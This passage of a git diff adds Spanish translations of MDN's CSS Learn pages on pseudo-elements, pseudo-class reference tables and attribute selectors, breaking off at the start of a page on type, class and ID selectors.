+<h2 id="¿Qué_es_un_pseudoelemento">¿Qué es un pseudoelemento?</h2>
+
+<p>Los pseudoelementos se comportan de manera similar. Sin embargo, actúan como si hubieras añadido un elemento HTML totalmente nuevo en el marcado, en lugar de haber aplicado una clase nueva a los elementos presentes. Los pseudoelementos empiezan con un doble signo de dos puntos <code>::</code>.</p>
+
+<pre class="notranslate"><em>::pseudo-element-name</em></pre>
+
+<div class="blockIndicator note">
+<p><strong>Nota</strong>: Algunos de los primeros pseudoelementos utilizaban la sintaxis de un solo signo de dos puntos, así que puede ser que en ocasiones los veas escritos de esta forma en algún código o ejemplo. Los navegadores modernos leen tanto los pseudoelementos con la sintaxis de los dos puntos simple como la de los dos puntos doble para garantizar la compatibilidad retrospectiva.</p>
+</div>
+
+<p>Por ejemplo, si deseas seleccionar la primera línea de un párrafo simplemente puedes delimitarlo con el elemento <code>&lt;span&gt;</code> y utilizar un selector de elementos. Sin embargo, fallará si el número de palabras que has delimitado resulta ser más largo o más corto que el ancho del elemento padre. Ya que normalmente no sabemos cuántas palabras caben en una línea porque esto cambia con el ancho de la pantalla o con los cambios de tamaño de la letra, no es posible hacer esto introduciendo solo HTML.</p>
+
+<p>El pseudoelemento <code>::first-line</code> soluciona este problema: no importa si el número de palabras aumenta o disminuye, siempre se selecciona la primera línea.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/learn/selectors/first-line.html", '100%', 800)}}</p>
+
+<p>Actúa como si hubiera un elemento <code>&lt;span&gt;</code> mágicamente delimitando esa primera línea, que se actualiza cada vez que la longitud de la línea cambia.</p>
+
+<p>Puedes observar que en ambos párrafos se selecciona la primera línea.</p>
+
+<h2 id="Combinar_pseudoclases_y_pseudoelementos">Combinar pseudoclases y pseudoelementos</h2>
+
+<p>Si quieres poner en negrita la primera línea del primer párrafo, puedes encadenar los selectores <code>:first-child</code> y <code>::first-line</code>. Añade al ejemplo anterior el CSS siguiente. Queremos que se seleccione la primera línea del primer elemento <code>&lt;p&gt;</code> que esté dentro de un elemento <code>&lt;article&gt;</code>.</p>
+
+<pre class="brush: css notranslate"><code>article p:first-child::first-line {
+  font-size: 120%;
+  font-weight: bold;
+}</code></pre>
+
+<h2 id="Generar_contenido_con_before_y_after">Generar contenido con ::before y ::after</h2>
+
+<p>Hay un par de pseudoelementos especiales que se utilizan junto con la propiedad de <code><a href="/en-US/docs/Web/CSS/content">content</a></code> para introducir contenido en el documento usando el CSS.</p>
+
+<p>Puedes utilizarlos para insertar una cadena de texto, como en el ejemplo siguiente. Intenta cambiar el valor del texto de la propiedad {{cssxref("content")}} y observa el cambio en la salida. También puedes cambiar el pseudoelemento <code>::before</code> por <code>::after</code> y verás que el texto se inserta al final del elemento, en lugar de al principio.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/learn/selectors/before.html", '100%', 400)}}</p>
+
+<p>Sin embargo, en realidad no es habitual insertar cadenas de texto desde el CSS, porque ese texto resulta inaccesible para algunos lectores de pantalla y puede ser difícil de buscar y modificar en el futuro.</p>
+
+<p>Un uso más adecuado de estos pseudoelementos es insertar un icono. Por ejemplo, la pequeña flecha que añadimos en el ejemplo siguiente es un indicador visual que no queremos que el lector de pantalla muestre:</p>
+
+<p>{{EmbedGHLiveSample("css-examples/learn/selectors/after-icon.html", '100%', 400)}}</p>
+
+<p>Estos pseudoelementos también se utilizan con frecuencia para insertar una cadena vacía a la que luego se le puede aplicar estilo, como a cualquier otro elemento de la página.</p>
+
+<p>En el ejemplo siguiente hemos añadido una cadena vacía mediante el pseudoelemento <code>::before</code>. Le hemos asociado <code>display: block</code> para poder aplicarle estilo para que tenga una anchura y una altura determinadas. A continuación, utilizamos el CSS para aplicar estilo de la misma forma que lo haríamos con cualquier otro elemento. Juega con el CSS y cambia la forma en que se ve y se comporta.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/learn/selectors/before-styled.html", '100%', 500)}}</p>
+
+<p>El uso de los pseudoelementos <code>::before</code> y <code>::after</code>, junto con la propiedad <code>content</code> se conoce como «contenido generado» en CSS, y verás que esta técnica se utiliza a menudo para diversas tareas. Un buen ejemplo es la página web <a href="http://www.cssarrowplease.com/">CSS Arrow Please</a>, que te ayuda a generar una flecha con CSS. Echa un vistazo al CSS a medida que creas tu flecha y verás cómo funcionan los pseudoelementos {{cssxref("::before")}} y {{cssxref("::after")}}. Cada vez que veas estos selectores, echa un vistazo a la propiedad {{cssxref("content")}} para ver qué se añade al documento.</p>
+
+<h2 id="Sección_de_referencia">Sección de referencia</h2>
+
+<p>Hay un gran número de pseudoclases y pseudoelementos, así que resulta útil tener una lista para ir consultándolos. A continuación encontrarás un par de tablas con enlaces a sus páginas de referencia en MDN. Tómalas como referencia para ver de qué dispones para seleccionar qué tipos de elementos.</p>
+
+<h3 id="Las_pseudoclases">Las pseudoclases</h3>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Selector</th>
+   <th scope="col">Descripción</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{ Cssxref(":active") }}</td>
+   <td>Selecciona un elemento cuando el usuario lo activa (por ejemplo, con un clic).</td>
+  </tr>
+  <tr>
+   <td>{{ Cssxref(":any-link") }}</td>
+   <td>Selecciona los estados <code>:link</code> y <code>:visited</code> de un enlace.</td>
+  </tr>
+  <tr>
+   <td>{{ Cssxref(":blank") }}</td>
+   <td>Selecciona un <a href="/es/docs/Web/HTML/Elemento/input">elemento <code>&lt;input&gt;</code></a> cuyo valor de entrada está vacío.</td>
+  </tr>
+  <tr>
+   <td>{{ Cssxref(":checked") }}</td>
+   <td>Selecciona un botón de opción o casilla de verificación en el estado que determines.</td>
+  </tr>
+  <tr>
+   <td>{{ Cssxref(":current") }}</td>
+   <td>Selecciona el elemento que se muestra en ese momento, o un ancestro de ese elemento.</td>
+  </tr>
+  <tr>
+   <td>{{ Cssxref(":default") }}</td>
+   <td>Selecciona uno o más elementos de interfaz de usuario cuyo valor es el predeterminado de entre un conjunto de elementos similares.</td>
+  </tr>
+  <tr>
+   <td>{{ Cssxref(":dir") }}</td>
+   <td>Selecciona un elemento según su direccionalidad (valor del atributo <code><a href="/en-US/docs/Web/HTML/Global_attributes/dir">dir</a></code> de HTML o propiedad <code><a href="/en-US/docs/Web/CSS/direction">direction</a></code> de CSS).</td>
+  </tr>
+  <tr>
+   <td>{{ Cssxref(":disabled") }}</td>
+   <td>Selecciona elementos de la interfaz de usuario que están en estado inactivo.</td>
+  </tr>
+  <tr>
+   <td>{{ Cssxref(":empty") }}</td>
+   <td>Selecciona un elemento que no tiene elementos hijo, excepto por algún espacio en blanco opcional.</td>
+  </tr>
+  <tr>
+   <td>{{ Cssxref(":enabled") }}</td>
+   <td>Selecciona elementos de la interfaz de usuario que están en estado activo.</td>
+  </tr>
+  <tr>
+   <td>{{ Cssxref(":first") }}</td>
+   <td>En <a href="/en-US/docs/Web/CSS/Paged_Media">Paged Media</a>, selecciona la primera página.</td>
+  </tr>
+  <tr>
+   <td>{{ Cssxref(":first-child") }}</td>
+   <td>Selecciona el primero entre elementos hermanos.</td>
+  </tr>
+  <tr>
+   <td>{{ Cssxref(":first-of-type") }}</td>
+   <td>Selecciona el primero entre un tipo determinado de elementos hermanos.</td>
+  </tr>
+  <tr>
+   <td>{{ Cssxref(":focus") }}</td>
+   <td>Selecciona el elemento que tiene el foco.</td>
+  </tr>
+  <tr>
+   <td>{{ Cssxref(":focus-visible")}}</td>
+   <td>Selecciona el elemento que tiene el foco cuando el foco tiene que estar visible para el usuario.</td>
+  </tr>
+  <tr>
+   <td>{{ Cssxref(":focus-within") }}</td>
+   <td>Selecciona el elemento que tiene el foco y el elemento con un descendiente que tiene el foco.</td>
+  </tr>
+  <tr>
+   <td>{{ Cssxref(":future") }}</td>
+   <td>Selecciona los elementos que van después del elemento en curso.</td>
+  </tr>
+  <tr>
+   <td>{{ Cssxref(":hover") }}</td>
+   <td>Selecciona un elemento cuando el usuario interactúa con él.</td>
+  </tr>
+  <tr>
+   <td>{{ Cssxref(":indeterminate") }}</td>
+   <td>Selecciona elementos de interfaz de usuario cuyo valor está en un estado no determinado, por lo general se trata de <a href="/es/docs/Web/HTML/Elemento/input/checkbox">casillas de verificación</a>.</td>
+  </tr>
+  <tr>
+   <td>{{ Cssxref(":in-range") }}</td>
+   <td>Selecciona un elemento cuyo valor se encuentra dentro de un rango de valores determinado.</td>
+  </tr>
+  <tr>
+   <td>{{ Cssxref(":invalid") }}</td>
+   <td>Selecciona un elemento, como por ejemplo un <code>&lt;input&gt;</code>, cuyo estado es no válido.</td>
+  </tr>
+  <tr>
+   <td>{{ Cssxref(":lang") }}</td>
+   <td>Selecciona un elemento según el idioma (valor del atributo <a href="/es/docs/Web/HTML/Atributos_Globales/lang">lang</a> de HTML).</td>
+  </tr>
+  <tr>
+   <td>{{ Cssxref(":last-child") }}</td>
+   <td>Selecciona el último elemento de entre sus elementos hermanos.</td>
+  </tr>
+  <tr>
+   <td>{{ Cssxref(":last-of-type") }}</td>
+   <td>Selecciona el último de entre los elementos hermanos de un tipo determinado.</td>
+  </tr>
+  <tr>
+   <td>{{ Cssxref(":left") }}</td>
+   <td>En <a href="/en-US/docs/Web/CSS/CSS_Pages">Paged Media</a> selecciona las páginas de la izquierda.</td>
+  </tr>
+  <tr>
+   <td>{{ Cssxref(":link")}}</td>
+   <td>Selecciona los enlaces no visitados.</td>
+  </tr>
+  <tr>
+   <td>{{ Cssxref(":local-link")}}</td>
+   <td>Selecciona los enlaces que dirigen a páginas que se encuentran en la misma página web que el documento activo.</td>
+  </tr>
+  <tr>
+   <td>{{ Cssxref(":is", ":is()")}}</td>
+   <td>Selecciona cualquiera de los selectores de la lista de selección que se pase como valor de este selector.</td>
+  </tr>
+  <tr>
+   <td>{{ Cssxref(":not") }}</td>
+   <td>Selecciona elementos que otros selectores no han seleccionado antes y que se han pasado como valor de este selector.</td>
+  </tr>
+  <tr>
+   <td>{{ Cssxref(":nth-child") }}</td>
+   <td>Selecciona elementos de entre una lista de elementos hermanos. Los elementos hermanos están relacionados por una fórmula del tipo <var>an + b</var> (por ejemplo, 2<var>n</var> + 1 seleccionaría los elementos 1, 3, 5, 7, etc., es decir, todos los impares).</td>
+  </tr>
+  <tr>
+   <td>{{ Cssxref(":nth-of-type") }}</td>
+   <td>Selecciona elementos de entre una lista de elementos hermanos de un tipo determinado (por ejemplo, todos los elementos <code>&lt;p&gt;</code>). Los elementos hermanos están relacionados por una fórmula del tipo <var>an + b</var> (por ejemplo, 2<var>n</var> + 1 relacionaría en la secuencia ese tipo de elementos, los números 1, 3, 5, 7, etc., es decir, todos los impares).</td>
+  </tr>
+  <tr>
+   <td>{{ Cssxref(":nth-last-child") }}</td>
+   <td>Selecciona elementos de entre una lista de elementos hermanos, contando hacia atrás desde el final. Los elementos hermanos están relacionados por una fórmula del tipo <var>an+b</var> (por ejemplo, 2<var>n<var> <em>+ 1 r</em>elacionaría en la secuencia el último de los elementos de este tipo con el que se encuentra dos por delante, y así sucesivamente. Todos los impares, contando desde el final).</var></var></td>
+  </tr>
+  <tr>
+   <td>{{ Cssxref(":nth-last-of-type") }}</td>
+   <td>Selecciona los elementos de entre una lista de elementos hermanos que son de un tipo determinado (por ejemplo, elementos <code>&lt;p&gt;</code>), contando hacia atrás desde el final. Los elementos hermanos están relacionados por una fórmula del tipo <var>an+b</var> (por ejemplo, 2<var>n</var> + 1 relacionaría en la secuencia el último de los elementos de ese tipo con el que se encuentra dos por delante, y así sucesivamente. Todos los impares, contando desde el final).</td>
+  </tr>
+  <tr>
+   <td>{{ Cssxref(":only-child") }}</td>
+   <td>Selecciona un elemento que no tiene elementos hermanos.</td>
+  </tr>
+  <tr>
+   <td>{{ Cssxref(":only-of-type") }}</td>
+   <td>Selecciona un elemento que es el único de su tipo entre sus elementos hermanos.</td>
+  </tr>
+  <tr>
+   <td>{{ Cssxref(":optional") }}</td>
+   <td>Selecciona los elementos de formulario que son innecesarios.</td>
+  </tr>
+  <tr>
+   <td>{{ Cssxref(":out-of-range") }}</td>
+   <td>Selecciona un elemento cuyo valor está fuera de rango.</td>
+  </tr>
+  <tr>
+   <td>{{ Cssxref(":past") }}</td>
+   <td>Selecciona los elementos que se encuentran antes del elemento activo.</td>
+  </tr>
+  <tr>
+   <td>{{ Cssxref(":placeholder-shown") }}</td>
+   <td>Selecciona el elemento de entrada que muestra texto de marcador de posición.</td>
+  </tr>
+  <tr>
+   <td>{{ Cssxref(":playing") }}</td>
+   <td>Selecciona un elemento que representa un audio, un vídeo o un recurso similar que se puede «reproducir» o «pausar», cuando el elemento está «en reproducción».</td>
+  </tr>
+  <tr>
+   <td>{{ Cssxref(":paused") }}</td>
+   <td>Selecciona un elemento que representa un audio, un vídeo o un recurso similar que se puede “«reproducir» o «pausar» cuando el elemento está «pausado».</td>
+  </tr>
+  <tr>
+   <td>{{ Cssxref(":read-only") }}</td>
+   <td>Selecciona los elementos que el usuario no puede modificar.</td>
+  </tr>
+  <tr>
+   <td>{{ Cssxref(":read-write") }}</td>
+   <td>Selecciona los elementos que el usuario puede modificar.</td>
+  </tr>
+  <tr>
+   <td>{{ Cssxref(":required") }}</td>
+   <td>Selecciona los elementos de formulario que son necesarios.</td>
+  </tr>
+  <tr>
+   <td>{{ Cssxref(":right") }}</td>
+   <td>En <a href="/en-US/docs/Web/CSS/CSS_Pages">Paged Media</a> selecciona las páginas de la derecha.</td>
+  </tr>
+  <tr>
+   <td>{{ Cssxref(":root") }}</td>
+   <td>Selecciona un elemento que es la raíz del documento.</td>
+  </tr>
+  <tr>
+   <td>{{ Cssxref(":scope") }}</td>
+   <td>Selecciona cualquier elemento de ámbito.</td>
+  </tr>
+  <tr>
+   <td>{{ Cssxref(":valid") }}</td>
+   <td>Selecciona un elemento como <code>&lt;input&gt;</code>, en un estado válido.</td>
+  </tr>
+  <tr>
+   <td>{{ Cssxref(":target") }}</td>
+   <td>Selecciona el elemento al que apunta la URL activa (es decir, cuyo ID coincide con el <a href="https://en.wikipedia.org/wiki/Fragment_identifier">identificador de fragmento de la URL</a> activo).</td>
+  </tr>
+  <tr>
+   <td>{{ Cssxref(":visited") }}</td>
+   <td>Selecciona los enlaces visitados.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="Pseudoelementos">Pseudoelementos</h3>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Selector</th>
+   <th scope="col">Descripción</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{ Cssxref("::after") }}</td>
+   <td>Selecciona el elemento al que se puede aplicar estilo que aparece a continuación del contenido del elemento que lo origina.</td>
+  </tr>
+  <tr>
+   <td>{{ Cssxref("::before") }}</td>
+   <td>Selecciona el elemento al que se puede aplicar estilo que aparece antes del contenido del elemento que lo origina.</td>
+  </tr>
+  <tr>
+   <td>{{ Cssxref("::first-letter") }}</td>
+   <td>Selecciona la primera letra del elemento.</td>
+  </tr>
+  <tr>
+   <td>{{ Cssxref("::first-line") }}</td>
+   <td>Selecciona la primera línea del elemento de contenido.</td>
+  </tr>
+  <tr>
+   <td>{{ Cssxref("::grammar-error") }}</td>
+   <td>Selecciona una parte del documento que contiene un error de gramática indicado por el navegador.</td>
+  </tr>
+  <tr>
+   <td>{{ Cssxref("::selection") }}</td>
+   <td>Selecciona la parte del documento que ha sido seleccionada.</td>
+  </tr>
+  <tr>
+   <td>{{ Cssxref("::spelling-error") }}</td>
+   <td>Selecciona una parte del documento que contiene un error de ortografía indicado por el navegador.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{PreviousMenuNext("Learn/CSS/Building_blocks/Selectors/Attribute_selectors", "Learn/CSS/Building_blocks/Selectors/Combinators", "Learn/CSS/Building_blocks")}}</p>
+
+<h2 id="En_este_módulo">En este módulo</h2>
+
+<ol>
+ <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Cascade_and_inheritance">La cascada y la herencia</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Selectors">Selectores CSS</a>
+  <ul>
+   <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Selectors/Type_Class_and_ID_Selectors">Selectores de tipo, de clase y de ID</a></li>
+   <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Selectors/Attribute_selectors">Selectores de atributo</a></li>
+   <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Selectors/Pseudo-classes_and_pseudo-elements">Las pseudoclases y los pseudoelementos</a></li>
+   <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Selectors/Combinators">Operadores de combinación</a></li>
+  </ul>
+ </li>
+ <li><a href="/en-US/docs/Learn/CSS/Building_blocks/The_box_model">El modelo de caja</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Backgrounds_and_borders">Fondos y bordes</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Handling_different_text_directions">El uso de diferentes direcciones de texto</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Overflowing_content">El desbordamiento de los contenidos</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Values_and_units">Los valores y las unidades</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Sizing_items_in_CSS">Elementos de dimensionado en CSS</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Images_media_form_elements">Elementos de imagen, de media y de formulario</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Styling_tables">Aplicar estilo a las tablas</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Debugging_CSS">Depurar el CSS</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Organizing">Organizar el CSS</a></li>
+</ol>
diff --git a/files/es/learn/css/building_blocks/selectores_css/selectores_de_atributos/index.html b/files/es/learn/css/building_blocks/selectores_css/selectores_de_atributos/index.html
new file mode 100644
index 0000000000..057c38c18d
--- /dev/null
+++ b/files/es/learn/css/building_blocks/selectores_css/selectores_de_atributos/index.html
@@ -0,0 +1,154 @@
+---
+title: Selectores de atributo
+slug: Learn/CSS/Building_blocks/Selectores_CSS/Selectores_de_atributos
+translation_of: Learn/CSS/Building_blocks/Selectors/Attribute_selectors
+---
+<p>{{LearnSidebar}}{{PreviousMenuNext("Learn/CSS/Building_blocks/Selectors/Type_Class_and_ID_Selectors", "Learn/CSS/Building_blocks/Selectors/Pseudo-classes_and_pseudo-elements", "Learn/CSS/Building_blocks")}}</p>
+
+<p>Como ya explicamos en los artículos de HTML, los elementos pueden tener atributos que proporcionan un nivel de detalle mayor sobre el elemento que delimitan. En el CSS puedes utilizar selectores de atributo para seleccionar elementos definidos con unos atributos determinados. En este artículo veremos cómo utilizar estos selectores tan útiles.</p>
+
+<table class="learn-box standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">Prerrequisitos:</th>
+   <td>Conocimientos básicos de informática, tener el <a href="https://developer.mozilla.org/es/docs/Learn/Getting_started_with_the_web/Instalacion_de_software_basico">software básico instalado</a>, conocimientos básicos de <a href="https://developer.mozilla.org/es/docs/Learn/Getting_started_with_the_web/Manejando_los_archivos">trabajar con archivos</a>, HTML básico (véase <a href="/es/docs/Learn/HTML/Introduccion_a_HTML">Introducción a HTML</a>) y nociones de cómo funciona el CSS (véase <a href="/es/docs/Learn/CSS/First_steps">Primeros pasos con CSS</a>).</td>
+  </tr>
+  <tr>
+   <th scope="row">Objetivo:</th>
+   <td>Aprender a identificar y utilizar selectores de atributo.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Selectores_de_presencia_y_valor">Selectores de presencia y valor</h2>
+
+<p>Estos selectores permiten seleccionar un elemento solo a partir de la presencia de un atributo (por ejemplo <code>href</code>) o a partir de varias coincidencias diferentes con respecto al valor del atributo.</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Selector</th>
+   <th scope="col">Ejemplo</th>
+   <th scope="col">Descripción</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>[<em>attr</em>]</code></td>
+   <td><code>a[title]</code></td>
+   <td>Relaciona elementos con un mismo nombre de atributo, <em>attr</em> (el valor que se indica entre corchetes).</td>
+  </tr>
+  <tr>
+   <td><code>[<em>attr</em>=<em>value</em>]</code></td>
+   <td><code>a[href="https://example.com"]</code></td>
+   <td>Relaciona elementos con un mismo nombre de atributo, <em>attr</em>, cuyo valor es exactamente el mismo, <em>value</em> (la cadena de caracteres que se indica entre corchetes).</td>
+  </tr>
+  <tr>
+   <td><code>[<em>attr</em>~=<em>value</em>]</code></td>
+   <td><code>p[class~="special"]</code></td>
+   <td>
+    <p>Relaciona los elementos con un mismo nombre de atributo, <em>attr</em>, cuyo valor es exactamente <em>value</em>, o los elementos con un mismo atributo <em>attr</em> que contiene uno o más valores de los cuales, al menos uno, coincide con <em>value</em>.</p>
+
+    <p>Ten en cuenta que en una lista que incluya más de un valor, los distintos valores se separan con un espacio.</p>
+   </td>
+  </tr>
+  <tr>
+   <td><code>[<em>attr</em>|=<em>value</em>]</code></td>
+   <td><code>div[lang|="zh"]</code></td>
+   <td>Relaciona los elementos con un mismo nombre de atributo, <em>attr</em>, cuyo valor puede ser exactamente <em>value</em> o puede comenzar con <em>value</em> seguido inmediatamente por un guion.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>En el ejemplo siguiente puedes observar cómo se utilizan estos selectores.</p>
+
+<ul>
+ <li>Mediante el uso de <code>li[class]</code> podemos relacionar cualquier selector con un atributo de clase. Los relaciona todos menos el primer elemento de la lista.</li>
+ <li><code>li[class="a"]</code> relaciona un selector con una clase de <code>a</code>, pero no un selector con una clase de <code>a</code> con otra clase separada por un espacio como parte del valor. Selecciona el segundo elemento de la lista.</li>
+ <li><code>li[class~="a"]</code> coincidirá con una clase <code>a</code> pero también con un valor que contenga la clase de <code>a</code> como parte de una lista de elementos separados por un espacio. Selecciona el segundo y el tercer elemento de la lista.</li>
+</ul>
+
+<p>{{EmbedGHLiveSample("css-examples/learn/selectors/attribute.html", '100%', 800)}}</p>
+
+<h2 id="Selectores_coincidentes_con_subcadenas">Selectores coincidentes con subcadenas</h2>
+
+<p>Estos selectores permiten un tipo más avanzado de relación entre las subcadenas de caracteres que constituyen el valor del atributo. Por ejemplo, si tienes las clases <code>box-warning</code> y <code>box-error</code> y quieres encontrar todos los elementos que empiezan con la cadena de caracteres “box-”, puedes seleccionarlas ambas con <code>[class^="box-"]</code>.</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Selector</th>
+   <th scope="col">Ejemplo</th>
+   <th scope="col">Descripción</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>[<em>attr</em>^=<em>value</em>]</code></td>
+   <td><code>li[class^="box-"]</code></td>
+   <td>Relaciona elementos con un mismo nombre de atributo, <em>attr</em>, cuyo valor empieza exactamente con la subcadena de caracteres <em>value</em>.</td>
+  </tr>
+  <tr>
+   <td><code>[<em>attr</em>$=<em>value</em>]</code></td>
+   <td><code>li[class$="-box"]</code></td>
+   <td>Relaciona elementos con un mismo nombre de atributo, <em>attr</em>, cuyo valor termina exactamente con la subcadena de caracteres <em>value</em>.</td>
+  </tr>
+  <tr>
+   <td><code>[<em>attr</em>*=<em> </em>]</code></td>
+   <td><code>li[class*="box"]</code></td>
+   <td>Relaciona elementos con un mismo nombre de atributo, <em>attr</em>, cuyo valor incluye al menos una ocurrencia de la subcadena <em>value</em> en algún punto de la cadena.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>El ejemplo siguiente muestra cómo se usan estos selectores:</p>
+
+<ul>
+ <li><code>li[class^="a"]</code> relaciona cualquier valor de atributo que empieza con <code>a</code>; luego, relaciona los dos primeros elementos de la lista se verán iguales.</li>
+ <li><code>li[class$="a"]</code> relaciona cualquier valor de atributo que termina con <code>a</code>; luego, relaciona el primer y el tercer elemento de la lista.</li>
+ <li><code>li[class*="a"]</code> relaciona cualquier valor de atributo que contiene <code>a</code> en cualquier posición; luego, relaciona todos los elementos de la lista.</li>
+</ul>
+
+<p>{{EmbedGHLiveSample("css-examples/learn/selectors/attribute-substring.html", '100%', 800)}}</p>
+
+<h2 id="Mayúsculas_y_minúsculas">Mayúsculas y minúsculas</h2>
+
+<p>Si quieres relacionar los valores de atributo tanto si están escritos en mayúsculas como en minúsculas, puedes utilizar el valor <code>i</code> antes del paréntesis de cierre. Este indicador informa al navegador de que debe relacionar todos los caracteres ASCII independientemente de si las letras son mayúsculas o minúsculas. Sin este indicador, los valores se relacionarán según las directrices del lenguaje del documento con respecto a la distinción entre mayúsculas y minúsculas; en el caso del HTML, se distinguirá entre mayúsculas y minúsculas.</p>
+
+<p>En el ejemplo siguiente, el primer selector relaciona valores que empiezan con <code>a</code>; luego, solo coincide el primer elemento de la lista porque los otros dos comienzan con una A mayúscula. El segundo selector utiliza el indicador de no distinción entre mayúsculas y minúsculas, así que relaciona todos los elementos de la lista.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/learn/selectors/attribute-case.html", '100%', 800)}}</p>
+
+<div class="blockIndicator note">
+<p><strong>Nota</strong>: Recientemente se ha creado un valor <code>s</code>, que obliga a establecer la distinción de mayúsculas y minúsculas en contextos en que no se suele establecer esta distinción. Sin embargo, pocos navegadores lo utilizan y no resulta demasiado útil en un contexto HTML.</p>
+</div>
+
+<h2 id="Próximos_pasos">Próximos pasos</h2>
+
+<p>Ahora que hemos terminado con los selectores de atributo, puedes avanzar al artículo siguiente y leer acerca de los <a href="/en-US/docs/Learn/CSS/Building_blocks/Selectors/Pseudo-classes_and_pseudo-elements">selectores de pseudoclases y pseudoelementos</a>.</p>
+
+<p>{{PreviousMenuNext("Learn/CSS/Building_blocks/Selectors/Type_Class_and_ID_Selectors", "Learn/CSS/Building_blocks/Selectors/Pseudo-classes_and_pseudo-elements", "Learn/CSS/Building_blocks")}}</p>
+
+<h2 id="En_este_módulo">En este módulo</h2>
+
+<ol>
+ <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Cascade_and_inheritance">La cascada y la herencia</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Selectors">Selectores CSS</a>
+  <ul>
+   <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Selectors/Type_Class_and_ID_Selectors">Selectores de tipo, de clase y de ID</a></li>
+   <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Selectors/Attribute_selectors">Selectores de atributo</a></li>
+   <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Selectors/Pseudo-classes_and_pseudo-elements">Las pseudoclases y los pseudoelementos</a></li>
+   <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Selectors/Combinators">Operadores de combinación</a></li>
+  </ul>
+ </li>
+ <li><a href="/en-US/docs/Learn/CSS/Building_blocks/The_box_model">El modelo de caja</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Backgrounds_and_borders">Fondos y bordes</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Handling_different_text_directions">El uso de diferentes direcciones de texto</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Overflowing_content">El desbordamiento de los contenidos</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Values_and_units">Los valores y las unidades</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Sizing_items_in_CSS">Elementos de dimensionado en CSS</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Images_media_form_elements">Imágenes, media y elementos de formulario</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Styling_tables">Aplicar estilo a las tablas</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Debugging_CSS">Depurar el CSS</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Organizing">Organizar el CSS</a></li>
+</ol>
diff --git a/files/es/learn/css/building_blocks/selectores_css/selectores_de_tipo_clase_e_id/index.html b/files/es/learn/css/building_blocks/selectores_css/selectores_de_tipo_clase_e_id/index.html
new file mode 100644
index 0000000000..01b3963f8a
--- /dev/null
+++ b/files/es/learn/css/building_blocks/selectores_css/selectores_de_tipo_clase_e_id/index.html
@@ -0,0 +1,117 @@
+---
+title: 'Selectores de tipo, clase e ID'
+slug: Learn/CSS/Building_blocks/Selectores_CSS/Selectores_de_tipo_clase_e_ID
+translation_of: Learn/CSS/Building_blocks/Selectors/Type_Class_and_ID_Selectors
+---
+<p>{{LearnSidebar}}{{PreviousMenuNext("Learn/CSS/Building_blocks/Selectors", "Learn/CSS/Building_blocks/Selectors/Attribute_selectors", "Learn/CSS/Building_blocks")}}</p>
+
+<p>En este artículo vamos a echar un vistazo a los selectores más simples de que dispones y que seguramente serán los que utilices con mayor frecuencia.</p>
+
+<table class="learn-box standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">Prerrequisitos:</th>
+   <td>Conocimientos básicos de informática, tener el <a href="https://developer.mozilla.org/es/docs/Learn/Getting_started_with_the_web/Instalacion_de_software_basico">software básico instalado</a>, conocimientos básicos de <a href="https://developer.mozilla.org/es/docs/Learn/Getting_started_with_the_web/Manejando_los_archivos">trabajar con archivos</a>, HTML básico (véase <a href="/es/docs/Learn/HTML/Introduccion_a_HTML">Introducción a HTML</a>) y nociones de cómo funciona el CSS (véase <a href="/es/docs/Learn/CSS/First_steps">Primeros pasos con CSS</a>).</td>
+  </tr>
+  <tr>
+   <th scope="row">Objetivo:</th>
+   <td>Conocer los diferentes selectores CSS que podemos utilizar para aplicar CSS a un documento.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Tipos_de_selectores">Tipos de selectores</h2>
+
